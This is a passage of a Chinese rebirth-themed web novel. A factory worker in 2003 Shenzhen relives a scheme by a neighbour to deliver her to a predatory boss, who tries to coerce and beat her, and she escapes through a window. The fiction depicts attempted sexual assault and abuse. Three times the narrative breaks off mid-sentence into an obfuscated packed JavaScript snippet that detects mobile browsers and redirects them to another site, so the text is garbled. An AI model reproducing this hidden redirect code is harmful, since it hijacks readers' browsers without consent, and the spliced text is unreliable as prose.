《重生娃养我日常[年代]》 1. 第 1 章 城中村的一栋砖瓦老屋里,宁绍明换好出门要穿的鞋,几步穿过客厅往里走。 推开房间的门,老旧的木门发出吱呀一声响,他不由得更加放轻了动作。 “我上班去了,”宁绍明轻声对躺在床上的老婆说,“早饭在客厅的茶几上盖着,我煮了粥,炒了一碟黄豆芽,你要是不想吃黄豆芽,就拆一袋红油豇豆配粥吃。” 闭着眼睛躺在床上没搞清楚情况的赵如月,恍恍惚惚听到这熟悉又陌生的声音和话语,下意识应了一声。 在结婚后,她曾拥有过无数个这样的早晨,早已养成习惯,当初也只以为是再寻常不过的日常。 直到后来,丈夫离世,这寻常就变成了奢望…… 宁绍明听到老婆回应就放心地出门了。 他的脚步声越来越远,半晌,赵如月终于从床上坐起来。 身上完全没有老年病重的不适感,反而感觉身体十分轻盈,有一种饱睡一场后的神清气爽。 赵如月的视线在房间内环视一圈。 这个小房间她记得。 是跟丈夫第一次来鹏城打工租的房子,也是她后来常常回忆的地方。 床上挂着的粉色梅花老式蚊帐,铺在枕头上的上海毛圈枕巾,一张用来盖、一张用来铺床的大红色包边双喜羊毛毯以及叠放在衣柜顶上的棉花被,这些赵如月记了几十年都没忘。 因为那全是她结婚时父母给的嫁妆,还有一部分带不来的大件放在老家,在他们老家,嫁妆比得上她的也不多。 九十年代生产的老物件质量很好、很耐用,她的嫁妆用了好多年,坏到不能用了才换掉的。 房子朝北,里面几乎一年到头都晒不到太阳,厕所和厨房也不在屋里,所以房租比其他房子更便宜。 不过就算这样,他们夫妻俩也得跟老乡合租才能负担得起。 赵如月走到窗边房东留下的老旧床头柜前,床头柜上有一面土土的红塑料壳圆镜。 她把镜子拿起来,看着镜子里的自己,年轻白皙的脸上没有一点皱纹和老年斑,有的是满满的胶原蛋白和一股这个年代的人特有的蓬勃朝气。 赵如月在自己大腿上狠狠掐了一把,很疼,不是在做梦。 于是站起身,往客厅走。 客厅的墙上有一本挂历,已经被撕掉了大部分,只剩下三十一张,薄薄一小沓,悬在泛黄的墙壁上。 今天的这一张上白底绿字写着: 2003年11月24日星期一,农历十一月初一。 宜:祭祀理发 忌:出行 她竟然真的回到了自己青春尚在的、最年富力强的年岁。 赵如月盯着今天这一页日历看到眼睛发酸,眼泪顺着脸颊往下淌。 直到门口的防盗铁门被人拍了几下,她才猛然回过神。 有个女人在外面喊:“如月,赵如月,你起床了吗?” 赵如月急忙擦掉眼泪,清了清嗓子问:“谁啊?” “是我啊,怎么才一晚上没见,连我的声音都听不出来了?” 赵如月:“……” 过去那么多年,即使是一直有联系的熟人,上了年纪后声音也会有些变化,习惯了熟人老年时的样子,她还真不太能听出来这个年轻的声音到底是谁。 房子的门最外层是防盗大铁门,里层是有些老旧的普通木门。 零几年的鹏城,城中村的治安可不算好,很多房子都会这么装。 安全起见,即使对方应该是熟人,赵如月也只打开里面的木门。 看到来人的脸,赵如月仔细想了想,终于想起这人是谁,也免不了想起一件与这人相关的,被尘封在记忆中,不太愿意回想的往事。 即使怒火与怨气被时间冲淡,可每次一想到上辈子发生的一件事,赵如月就不太想搭理她,总觉得她找自己肯定没安好心。 只是那件事应该还没发生,她们现在既是老乡又是一个厂的工友,平时接触得多,关系不错,算是好朋友了,自己不好无缘无故不搭理人家。 在外打工,老乡都爱跟老乡抱团,租的房子也很近,图一个出门在外,在人生地不熟的地方,互相能有个照应。 周围租住的都是熟人,有一点风吹草动就会传回老家。 她突然跟好朋友翻脸,除她丈夫外的其他人,肯定会觉得她莫名其妙,是她不对。 十几年后很多人认为‘老乡见老乡,背后来一枪’出门在外最容易被老乡坑。 可现在这时候,大部分老乡相对来说是比较靠谱的,大家笃信‘出门在外靠朋友’,像卢秋英这样的人是有,但不多。 这年头各种信息获取和流通,不如后来的全民互联网时代快捷方便。 一个人或者几个人出来遥远的外乡打工,顺利的话,回老家就会带挈老家的人一起来,换工作也多是靠老乡、熟人帮忙介绍,她跟丈夫也是这么出来的。 赵如月心里很清楚,这时候在同乡人里的名声还是挺重要的,现在这年代,她不可能不跟其他人来往。 毕竟活了那么多年,别的不说,在外人面前装装样子对她来说不难。 于是她压下心里的不适,应付起来人,看看她想耍什么花样。 “原来是秋英啊,”赵如月打了个哈欠,用手揉眼睛,以掩饰自己流泪后泛红的眼眶,“我还没醒困,刚才没听出来是你的声音,你怎么一大早就来了?” 卢秋英嫌弃地瞥她一眼:“还早呐?你看看现在几点了,昨晚说好一起去步行街逛逛,你不会忘了吧?” 赵如月有点忘了现在步行街的店铺几点开门,但肯定不是早上,卢秋英这么早来找自己,八成不是为了去逛街的事。 “这不是才八点多,好不容易能休息一天,要不是你喊我,我肯定要睡到自然醒。”赵如月说这话,顺手打开了铁门让人进来。 “啧啧,还睡到自然醒,看看宁老三给你惯的,”卢秋英走进客厅后,兀自走到茶几边上,大喇喇地掀开塑料饭桌盖罩,“啧啧啧,连早饭都做好了。” 赵如月悄悄撇嘴,心说:我老公愿意惯着,关你什么事! 要是以往,赵如月肯定会问卢秋英有没有吃过早饭,然后叫她一起吃。 但现在的赵如月可不乐意招待她:“那有什么,做顿饭而已,我们家的习惯就是谁先起床谁做早饭。” 她说着转身回房间,拿出厨房和洗手间的钥匙。 厨房跟洗手间在院子里,是一间单独的小瓦房。 小瓦房中间隔开,一半是厨房,一半是洗手间,不用的时候得锁起来,要不然下班回家的时候,有可能会看到一个被偷得空荡荡的小瓦房。 “我得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428311|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先去洗脸刷牙上厕所,还要洗个头,估计没那么快洗好。” 赵如月没想到,卢秋英等不到她叫自己一块吃,竟然厚着脸皮嬉皮笑脸地不问自取:“没事,你去吧,我在这里等你,刚好没吃早饭,我看你家宁老三煮的粥和菜不少,你一个人绝对吃不完,我帮你消耗一点,不用谢我,嘻嘻!” 赵如月险些没忍住当着她的面翻个白眼。 虽然住得近、处得好的老乡之间时不时会互相蹭饭,但是别人主动邀请,跟自己上赶着强蹭可不一样。 以前赵如月跟宁绍明在吃这方面比较大方,经常主动叫人一起吃,这个时候的他们,还真没发现卢秋英是这种人。 为免被察觉出不对,赵如月再没多说什么,拿着钥匙就快步去建在外面院子里的卫生间洗漱。 她擦着湿头发回来的时候,卢秋英已经喝了两碗大米粥,正在吧唧着嘴喝第三碗,一只手捧着碗往嘴里倒粥,另一只拿着筷子的手也没闲着。 那沾了粥水和口水的筷子在菜碟子里划拉来划拉去,夹菜的时候挑起一撮又放下,来回三五次,才夹起一筷子菜塞进嘴里,吧嗒吧嗒地嚼。 看到赵如月进来,她嘴里的东西还没完全咽下去,就叭叭地喷着口水挑剔起来了:“等你家宁老三回来,你得跟他说说,他手艺还行,这菜炒得够脆爽,可惜太淡了,下次炒菜多放点盐,现在又不是古代买不起盐,别吝啬这点盐嘛。” 吃别人的还挑挑拣拣,赵如月这下真没忍住,直接翻了个白眼:“我就喜欢炒得偏淡的黄豆芽。” 事实上她根本不喜欢偏淡的黄豆芽,但宁绍明是故意把这道菜做得偏淡了些。 因为赵如月爱吃辣,她吃清炒黄豆芽的时候,喜欢往里再拌点宁绍明做的蒜蓉辣酱,辣酱比较咸,炒黄豆芽少放点盐,再往里拌蒜蓉辣酱,吃起来咸淡就刚刚好。 卢秋英租的房子就在赵如月隔壁,她来这里蹭饭的次数不少,如果有心,作为好朋友,多少会记得一些赵如月表现得很明显的饮食偏好。 可是占过赵如月那么多便宜的她,显然没有把赵如月放在心上,也没把赵如月当做真正的朋友。 看着那盘被卢秋英用筷子翻来搅去的黄豆芽,赵如月觉得倒胃口,粥也不想喝了,就想弄清楚她葫芦里到底卖的什么药,不紧不慢地说:“我刚起床没什么胃口,你吃饱了把自己碗筷收拾一下,我去吹吹头发。” 卢秋英看她那一头海藻似的、厚厚的微卷黑长发,打了个饱嗝儿嫌弃地说:“你头发那么长那么厚,今天天气还那么潮湿,头发不得吹好久才能干透?” 据她所知,赵如月家可没有电吹风,天气不太冷的时候都是用电风扇吹头发,卢秋英倒是买了一个电吹风自己偷偷用着,可她不舍得借给别人用。 她说着说着,嘴里就带出点埋怨不满的意思来:“你昨晚就应该把头发洗了再睡的,现在才洗头不是耽误我时间嘛!” 卢秋英以为自己这么一说,赵如月就会跟以往一样善解人意,着急忙慌地把头发吹到半干就绑起来,顶着难受的半湿发跟自己出门。 赵如月一忍再忍,还是忍不住了,直接怼道:“管天管地,还管别人什么时候洗头了,我就乐意早上洗!等不及你自己先去呗!” 有些人你强她就弱,你弱她就蹬鼻子上脸,被怼后,卢秋英果然老实了。 2. 第 2 章 赵如月慢悠悠走到风扇前,拿起一本杂志,悠闲地边看边吹头发:“着什么急呀,我什么时候把头发吹干,什么时候出门呗,反正就算去早了,步行街也没几家店开门,晚上吃过晚饭再去还更热闹呢。” 卢秋英那么迫切想出门,赵如月本来以为自己这么一说,她肯定要急了,人一急就容易露出马脚。 谁知道卢秋英却一反常态,没再催着她出门:“好吧,我本来想着早点出去,先逛逛步行街附近新开的商场和大超市,中午就在外面吃,既然你不想那么早出去逛街就算了。” 她话音一转:“不过好不容易能休息一天,待在家里什么也不干多浪费,我老公刚买了个影碟机,你上次不是说想看那个外国的《加勒比海盗》和那什么《黑客帝国》?要不我们去租几张碟片回来看?” 赵如月听到她的话,浑身一颤。 卢秋英说完就低头,忙着往嘴里夹菜扒粥了,没注意到赵如月的异样。 她自以为了解赵如月,觉得赵如月喜欢看电影、电视剧,现在又刚好有时间,一提起这个,对方绝对会同意去。 一张电影票要花十几块钱,而租一张碟片一天,只要一块到五块,看一次电影的钱可以租好几张碟片了。 她们这样家里有债又有娃要养的打工仔,平时想看电影,大多是不舍得花钱去影院看的。 很多时候都是去音像店租碟片,然后一起去家里有影碟机的朋友家里看。 除了提供影碟机的人之外,租碟片的钱其他人平摊,这样一来,几乎不花什么钱就能看好几部电影,比去电影院看划算得多。 然而卢秋英把第三碗粥跟剩下的黄豆芽全吃完了,也没等到赵如月的应答。 “你怎么不说话,看个影碟而已,也要想那么久?”她转头往赵如月那边看了一眼,只见赵如月盯着那本杂志看得十分入迷,好像完全听不到外面任何声音。 只是卢秋英没注意到,在长发的遮掩下,侧对着她的赵如月手指已经用力到把杂志纸张掐破了。 赵如月只大概记得,那件恶心事发生在今年这个冬天。 那天自己就是跟卢秋英看的这两部电影,但是过去几十年,更具体的日期,她记不太清了,不过她永远忘不了那天发生的事和那两部电影。 刚刚赵如月心里想着,日期保不齐就是这几天,所以面上不显,只暗暗在心里提防卢秋英。 如果不是这几天,后续她肯定会找机会跟卢秋英闹掰,划清界限远离她,再跑回老家或者去别的城市找工作。 而现在,赵如月明白了,卢秋英今天那么早催自己出门的目的,也确认了那件事发生的确切时间就是今天。 上辈子她答应了一大早跟卢秋英出门逛。 两人在外面逛了一圈后,路过音像店,卢秋英又说不想逛了,提议租碟回去看电影。 看来无论自己今天是否答应一大早跟卢秋英出门,对方的最终目的都是提出租碟片去她家看电影。 想起上辈子吃过的亏、受过的憋屈,赵如月拼命忍住冲过去甩卢秋英几个耳光的怒意,努力稳住心绪。 说话时,声音极尽淡定:“刚刚看杂志太入迷,不过我听到你的话了,那就租这两部回来看吧。” “今天时间那么多,只租两部怎么够看。”卢秋英惦记着即将要做的事,完全没注意到赵如月的异常。 为了给自己谋划的事预留更多时间,她再次提议:“我们多租几部,一直看到下午,刚好去买菜的时候可以顺便把碟片带去还了,不留到明天,能省一天租金,留到明天就要给两天的租金钱了。” 赵如月故作不乐意的样子:“今天其他人都不能休息,只有我们两个人看,你出影碟机,我要一个人出租碟片的钱,租外国片本来就比租港片和内地片贵,我跟绍明欠的债没还完,家里也还有两个孩子要养呢,我可舍不得再多花钱,看两部电影过把瘾得了。” 卢秋英为达目的,咬咬牙,有些肉疼地说道:“除了那两部外国片,再租其他的碟片,我跟你平摊费用总行了吧?” 她觉得自己这回是让赵如月占了便宜,已经很够意思了,赵如月再不答应可有点不识抬举。 赵如月装作犹豫的样子,低头想了一会儿才点头:“那好吧。” 今天黄历上说不宜出门,但她思索过后,依然决定明知山有虎偏向虎山行。 毕竟只有千日做贼,哪有千日防贼的道理? 这次自己不跟卢秋英出门,下次她会换别的方式来害自己,到时反而防不胜防,毕竟自己跟丈夫都有工作,即使决定尽快离开,也不可能一做出决定就立刻马上能走。 等赵如月头发干透,两人一起出门。 去音像店的路上,恰好路过早餐店,赵如月有点饿,买了一杯豆浆和一个肉包子当早餐吃。 卢秋英对着那热气腾腾的蒸笼和豆香四溢的豆浆锅,露出向往又羡慕的神色说:“我好久没吃过外面的早餐了。”说着还发出一声心酸无奈的叹息。 她对外总说家里的钱是自己老公收着,每天只给她一点当天要用的生活费,而且只有少给,没有多给的,偶尔遇到便宜的菜,省下几毛一块的,她才能悄悄留着当私房零花。 赵如月在心里冷哼,这就是自己这时所谓的好朋友。 重生之后,曾经的记忆在她脑中越发清晰了,她想起以前一起出门,卢秋英几乎不花钱,总装可怜让她请客。 赵如月那时候是真心把卢秋英当朋友,每次卢秋英这么一说,赵如月免不了为自己的朋友抱屈一番,顺便好心地请她吃一点,毕竟老城区物价不算高,像现在这样,一杯豆浆一个包子也花不了几个钱。 即使某天一起逛街,买的食物稍微有点贵,赵如月不舍得买第二份,也会跟她分着吃自己买的,却从没吃到过她给的。 只是以前真当卢秋英是好朋友,又可怜她被老公拿捏,身上的那丁点钱都是小心翼翼辛辛苦苦从牙缝里攒下来的,才没计较那么多而已。 这一次,卢秋英的小花招却不灵了。 赵如月像是没听出她言外之意,神色淡淡地说了一句:“你老公怎么总是这样,连点零花钱都不给你,一个大男人竟然对老婆这么小气,下次见到他,我非得帮你好好说他一顿不可,老家镇上,除了你们家,我还没见过谁家是男人管钱。” “别别别,他也是为我们的小家着想,”卢秋英一听,立马习惯性地下意识反驳赵如月的话,维护自己老公,“你忘了我们俩在老家欠着债 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428312|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才出来打工的,哪能大手大脚地花钱啊,而且我一个女人,也没什么文化,遇上事情哪有男人来的有主见?手上钱多了我心慌得很,咱们女人容易上当受骗,钱还是放在男人手上更安全。” 钱放在男人手上更安全? 简直是天大的笑话! 卢秋英那些话,让赵如月在心里翻了无数个白眼。 在老家,她们这一代人里,大多数人只有小学或者初中学历,甚至小学没毕业就辍学的人也不少。 家里的钱,由小学学历都没有的女人管的人家多得是,更别说上一辈的人了,大字不识的文盲一大堆,还不都是女人管钱么!当地风气就是如此,人家也管得好好的。 更何况,卢秋英老公读的书也没比她多多少,她小学三年级后就不读了,她老公小学四年级,谁还比谁有文化了? 以往赵如月肯定会继续安慰她、劝她,还会给她出主意拿住家里的‘财政大权’。 现在嘛,赵如月才懒得管人家夫妻俩之间是东风压倒西风,还是西风压倒东风。 说多了还要落下个挑拨别人夫妻关系的埋怨,别人也不会念着自己好。 既然没钱,那就别吃呗。 赵如月:“那多不说他了,我们走吧。” “啊?”卢秋英站在早餐摊子前愣住了,心想:赵如月今天好像记性不太好啊,怎么忘了请她吃豆浆包子就要走了? 赵如月假装看不见她的反应,催促道:“外面也太闷热了,这冬天简直跟夏天没区别,我边走边吃,省时间,你赶紧走快些,我们没准能赶在太阳出来前回去。” 她说完就啃着包子继续往前走,也不管卢秋英是什么反应、有没有跟上。 卢秋英咽了咽口水,看看早餐摊子,又看看赵如月的背影。 人家已经走到马路拐角了,是真没有要请客的意思,她只好恨恨地咬咬牙急忙快步跟上。 租影碟的店离她们出租房不远,步行十几分钟就到了。 租影碟的时候,卢秋英选了一部香港警匪片、一部香港恐怖片和一部香港恐怖喜剧片。 结账时,她又说自己钱没带够,想让赵如月先出钱,等回去再把钱给她。 这回赵如月也照样没惯着她,直接说钱不够就不租别的碟片了,只租那两张外国片也行。 卢秋英才憋闷地装作突然想起来,自己还有几块钱藏在鞋垫底下,把钱拿出来付了。 出门不到半个小时,她们就租好碟片回到卢秋英家。 最开始一切正常,她们看的第一部电影是赵如月想看的外国片。 可惜这些电影,赵如月上辈子看过,也看够了,现在实在没什么兴趣,只是面上还作出特别高兴认真看电影的样子。 实际上,她提着心,静静等待着,看第二部电影的时刻。 看第二部电影的时候,卢秋英说要看那部香港恐怖片,赵如月没有异议。 但这部恐怖电影开始播放前,卢秋英又说:“现在大白天,外面还出着大太阳,看恐怖片没什么氛围,幸好我前几天装了窗帘,我们把门窗和窗帘都关上再看吧?” 她说着,没等赵如月回答,自顾自地关上门窗,拉上窗帘。 室内顿时暗了下来。 3. 第 3 章 卢秋英夫妻俩租的房子虽然在二楼,但城中村便宜出租房里的阳光就像奢侈品,要多花钱才能拥有,他们这间屋子也是常年照不到太阳的。 只有天气特别好的时候,太阳走到特定的角度,阳光才能从房子和房子之间的缝隙里钻进来几缕。 这间三十几平的房子,被布帘隔成里外两间,里面是睡觉的地方,外面当做小客厅用。 房子里本来光线就不太好,卢秋英还花了大价钱,特地装的两层窗帘。 现在一拉上窗帘,室内跟晚上不开灯看电视几乎没什么两样,光源全靠屏幕发出的光。 屏幕暗下去,小客厅立刻陷入更深的黑暗。 赵如月的脸看似一直正面面对着电视屏幕,看起来像是沉浸在电影剧情中的样子,实际上眼睛却在借着黑暗与长发的遮掩,偷偷观察房间里的两个地方。 一个地方则是卢秋英那边。 另一个地方的角落里,应该被人放了录像的东西。 卢秋英看时机差不多了,装作被电影里的鬼吓到的样子,边尖叫着喊:“啊啊啊!这片子也太吓人了!”边退到房间跟小客厅之间的布帘旁边,用布帘的一小角做出捂住眼睛的样子。 而布帘此时恰好被人悄悄掀起来,她立刻钻进房间内。 屏幕再次亮起时,卢秋英所在的位置已然换成了别人。 赵如月一直不动声色地注意着那边,等到那人凑近自己身边,立刻按照自己上辈子的表现演了起来。 她惊讶又慌乱地看向那人:“高老板,你怎么在这里?秋英呢?秋英去哪儿了?!” “秋英知道我对你的痴情,她很感动,她说你对我也有感情,只是你不好意思说,就想成全我们俩……”那人伸手就想摸上赵如月的肩膀和后背。 这个高老板,是赵如月工作的电子厂老板的小舅子高广强,也是鹏城本地拆迁暴发户,他在姐夫厂里见到赵如月后就盯上了她。 赵如月怒斥道:“滚!我一点也不喜欢你,你这恶心的败类!”侧身往旁边躲,没让高广强碰到。 “别躲呀!”高广强步步紧逼,“喜不喜欢的,你过来咱们俩好好聊聊才知道嘛!你们女人说话就爱口是心非,说不要肯定就是要的意思啦!” “我听人说,你在老家还欠着债,你看这样行不行,”高广强哄骗她说,“我不要求太多,只要你跟我一回,我保证给你一大笔钱,这次之后再也不来打扰你。” “你又不是处了,跟谁睡不是睡?跟我不但不亏,还得了好处,拿着这笔钱,不管是在鹏城做点小生意,还是回老家还债买房子开店都行,不比你在车间累死累活才挣那么丁点钱强?” “你这个满嘴喷粪的畜生!”赵如月继续怒骂,“恶心的蛆虫!我就是死也不会让你得逞,更不会背叛自己的婚姻!” 高广强的利诱张口就来,显然是没少用这个引诱人。 利诱之余见赵如月敬酒不吃,又企图颠倒黑白:“呵,你好好想想,我这样家财万贯的男人,身边能缺女人?如果不是你一直不答应,让我吃不到嘴里,我真不至于总是惦记你,苍蝇不叮无缝的蛋,事情变成现在这样,你也有不可推卸的责任!你今天跟我一回,咱俩之间就算一笔勾销了!” 高广强倒不是真心爱赵如月爱得无法自拔才不择手段,赵如月觉得他这种人别说真心,只怕连心都没有。 他只是觉得赵如月的长相身材都比他那些兄弟朋友们的情人更好,要是能带她出去,绝对能让自己在兄弟们面前更有面子,所以才一直盯着她不放。 这年头不在外偷腥找二奶的有钱男人有,但极少。 家里跟他们从无到有一起打拼的发妻,他们嫌弃是黄脸婆,觉得拿不出手、带不出去。 认为漂亮的情人二奶才是能拿来炫耀、彰显自己实力、魅力、身份的东西,谁一心一意对待家里的发妻,不找个小三,这种人还要嘲笑别人。 高广强和他那些所谓的兄弟就是这样的人。 为了拿下赵如月,各种方法高广强都试过,比如让人在厂里给赵如月找点事,再装好人去帮忙、明里暗里地勾搭调情找人起哄、威逼利诱等等。 可赵如月就是不上钩,赵如月明白,什么只跟一回,全是骗人的,一旦听信这种话,肯定会倒大霉! 只要踏出那一步,就会被人以此为把柄拿捏住,到时候会发展成什么样,可不是她能控制得了的。 赵如月非守着她那穷鬼乡下老公过日子,这让高广强既挫败不甘又恼怒嫉妒。 他觉得赵如月的穷鬼老公比不上自己一根指头,凭什么那种人竟然也有女人死心塌地跟着?这女人简直眼瞎,老天爷跟月老也是脑子有坑! 这会儿高广强说了那么一大堆,赵如月依然躲自己跟躲瘟疫一样,他越发恼火,更是非要抓住她不可了。 然而他发家后吃得脑满肠肥,动作不够敏捷,竟然碰不到赵如月一根头发。 赵如月在老家时务农,出来打工做的也是体力活,身体好得很,比力气可能比不过男人,比动作灵敏度,她可不会输,要不然也不敢名字卢秋英图谋不轨,还敢来闯这龙潭虎穴! 于是持续受挫的高广强也顾不上什么怜香惜玉了,抓人的动作变成攻击,挥着巴掌和拳头想往赵如月脸上、身上薄弱处打。 他凶相毕现,怒气上头,满脑子只有一个念头:不管用什么方法,必须先打得这女人无法反抗,再把她拿下,狠狠地收拾她! 不装了之后,他嘴里也开始污言秽语骂骂咧咧起来:“下贱的骚货,装什么装!成天在厂里扭着屁股、挺着大胸招摇,不就是想勾引男人嘛!早被男人.操过了,还装什么冰清玉洁,怎么,看不上我不会是想勾引我姐夫吧?” “滚开!”赵如月一边避开高广强的攻击一边往门口退,期间难免有闪避不及被打到的时候。 好在她以前年纪不大的时候,没少跟男孩子打架,连她老公小时候都被她压着揍过,知道该如何抵挡攻击。 在老家也没少干农活,力气不比不上正常男人,但没比这个被混乱的生活作息以及烟酒性腐蚀的高广强小多少,并且早就防着高广强动粗,尽量躲避,不跟他正面硬刚。 仗着身体轻盈、动作灵活,赵如月避开了很多攻击,也借助房间里的东西反击对方,偶尔实在避不开被打到的地方只是看着好像挺严重,实际上并不会让她失去反抗能力。 “今天不管你答不答应都跑不了,我早就叮嘱过卢秋英,一定要把门窗锁死了!”高广强说着躲开赵如月砸过来的物件,继续向她扑过去,想直接用自己肥硕的身躯压制住她。 门窗确实被卢秋英锁死了,不过连卢秋英也没注意到,门附近的窗户因为太过老旧,已经是整个松动的状态,平时看着没事,也还能用,可一旦被用力撞击, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14428313|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个窗户都会坠落,锁起不了什么作用。 赵如月故作慌乱地抓住门把手,用力摇晃几下,高广强看她发现真的开不了门后一副慌了神的样子,越发得意,觉得猎物这回绝对跑不掉了。 他不再着急,打算跟猫捉老鼠似的,先玩弄她一番再下手。 赵如月趁着他得意放松警惕,在他猝不及防之下,往窗户那里猛地扑过去,连人带窗一起摔下二楼。 先是落在一楼商铺往外私自搭建的遮阳棚上,缓冲了一下,砸坏遮阳棚后摔到地上。 楼下立刻传来路人、商铺商家和摊贩的惊叫声,临近的出租房里,也有不少人跑出来或者从窗户往下看。 只见一个女人面朝下趴着,额头处和下身缓缓渗出鲜血。 高广强错愕地看着这一幕,一时间愣住了,没反应过来要跑。 卢秋英躲在房间的角落,不敢出去打扰,也不敢偷看。 听到外面突然那么大动静时,最开始她还暗戳戳地捂嘴偷笑,心里寻思,这高老板还挺厉害,听听这动静,‘战况’可真是激烈。 转而又琢磨起事后怎么哄回赵如月,让她继续跟自己来往。 她们既是老乡又是朋友,还住得那么近,卢秋英当然清楚地知道,赵如月跟宁老三夫妻感情有多好。 两人又是从小一起长大的青梅竹马,感情非比寻常的深,赵如月确实真的特别不乐意跟高广强。 而且宁老三这人吧,虽然兜里是没有很多钱,可他是真疼老婆。 他们家的钱全捏在赵如月手上,从不过问她怎么花。 以前宁老三也在厂里干活,自己加班苦干累够呛也舍不得让赵如月加班。 还琢磨着想办法找门路,想让赵如月去干更轻松的文员,可赵如月只有初中学历,人家规定至少要有高中学历,她学历够不上这事才没成。 听赵如月说,宁老三那时候一个月挣一千多,自己就留一百块钱零花,厂里包吃包住,有时候这点钱他还花不完,就给赵如月买些平时舍不得吃的好吃的。 现在宁老三一个月挣两千多了,依然只留一百块钱零花。 早上赵如月说什么她们家谁起得早谁做饭,蒙谁呢!但凡宁老三在家,她就没见赵如月做过饭! 卢秋英心里清楚,这件事之后,赵如月短时间内对自己肯定没个好脸色。 于是下定决心,不管之后她对自己态度如何,一定要继续跟她处好关系,继续薅些好处。 谁让赵如月这次是真榜上大款了呢,一想到以后赵如月以后跟着老板吃香喝辣、穿金戴银,她就不甘心只拿高广强一次性给的那笔‘媒人钱’。 卢秋英挣沉思着,外面的动静却有些不对劲,怎么突然有那么多人的惊叫声? 她听到有人在喊:“快!快打电话叫救护车!” 还有人喊:“快报警!快报警!” 卢秋英急忙冲出去,看到倒在血泊中的赵如月和被人压制住不让跑的高广强。 她瞬间面如死灰,仿佛失去全身的力气,双腿一软,扑通瘫倒在地。 事情彻底超出她的认知和掌控,已然朝着完全不受他们控制的方向狂奔而去。 这个时候,卢秋英脑海里什么哄人的办法、什么媒人钱、什么吃香的喝辣的……各种乱七八糟的想法全部消失。 脑子里只剩下一个念头:完了,这下全完了…… 4. 第 4 章 鹏城再次入冬失败。 处于十一月下旬的鹏城,依然没有一点冬天该有的样子。 先前一场雨淅淅沥沥地下了半个月,终于在今天停了。 太阳破开阴云露出金黄色的大圆脸,洒下热烈而温暖的阳光,灿烂得仿佛是在初夏。 然而生活在这座位于南方沿海城市的人们,在冬天的连绵阴雨后,见到太阳并没有多高兴,因为这意味着讨人厌的回南天也跟着来了。 阳光将城市过多的水分蒸腾,空气中湿度极高。 地上、墙上、门上、窗户上、柜子上……到处湿湿潮潮的,家里许多东西都要发霉。 不管是给除霉、还是把东西扔了重新买都是一笔额外的花销。 早上宁绍明出门时,刚打开门,一股湿气与热气便扑面而来,每一个毛孔都仿佛被潮气浸润。 出租房步行到公交站只有几分钟的路程,宁绍明却已经感觉身上的皮肤有点黏黏腻腻的难受。 这种天气,地面拖也拖不干。 尤其他工作地方还是酒店后厨。 厨房里炒菜要用到煤气,不可能把门窗全部关严实,还有员工进进出出传菜、出菜,于是后厨成为回南天的重灾区。 宁绍明到达酒店,换好厨师服,戴上厨师帽,进入后厨的时候走得有点急,没注意脚下,瓷砖又太湿滑,他差点摔一跤。 眼疾手快扶住门框稳住身形,才没摔个四脚朝天。 站定后,宁绍明轻轻拍了拍心口,就在刚才,差点摔跤的时候,他的心脏有一瞬间突然抽痛了一下。 不过心脏的异样消失得太快,几个月前入职办健康证时,他刚检查过身体,心脏没有任何毛病,宁绍明就没放在心上。 他伸手拦住一个路过的清洁工:“这里的地太滑了,走路容易摔倒,得铺上防滑的垫子,不然他们端着菜走出去,滑倒就完了。” 这家酒店是高端酒店,主营项目是餐饮与住宿,餐饮又做得更好,平时来点名贵菜品的客人可不少。 出菜的服务员万一因为地面湿滑摔倒,服务员和清洁工都得扣工资。 清洁工没敷衍,点头说:“我已经跟我们领班说了,但是领班说跟厨房有关的事,都要先去找主管问一声才能办,我们领班已经去找主管反映,应该很快就会回来处理。” 宁绍明对此表示理解:“已经报上去了就好。” 这家酒店员工的工资比本地同行高出不少,相对的,各方面的要求和管理就非常严格。 尤其是后厨这样重要的地方,要求更加严格,厨房这一片区域的清洁工和传菜、出菜的员工都是固定的人,不允许其他地方的员工随便过来。 厨师,进入厨房时,必须要换上专门的工作服并且除了储物柜的钥匙,其他个人物品包括但不限于手表、香烟、打火机、钱包、无线电话、BB机等等,一概不许携带,只能把东西放在各自的储物柜里。 为了能来这里工作多挣点钱,还上在老家欠下的债,宁绍明愣是把烟都快戒了。 以前一包烟三四天,现在一包烟半个月都没抽完。 他接下来走路的时候小心了些,顺利走到洗手池跟前,没再发生意外。 有个负责切配的同事看到他又提前来,调侃道:“哟,宁师傅又来给我们帮忙啊?” 宁绍明现在是厨房里掌勺的灶台师傅之一,今天排午班,上班时间是上午11点半,不过现在才早晨9点他就到了。 在这家酒店工作不到一年,但后厨里的各种活儿,宁绍明早就做熟了。 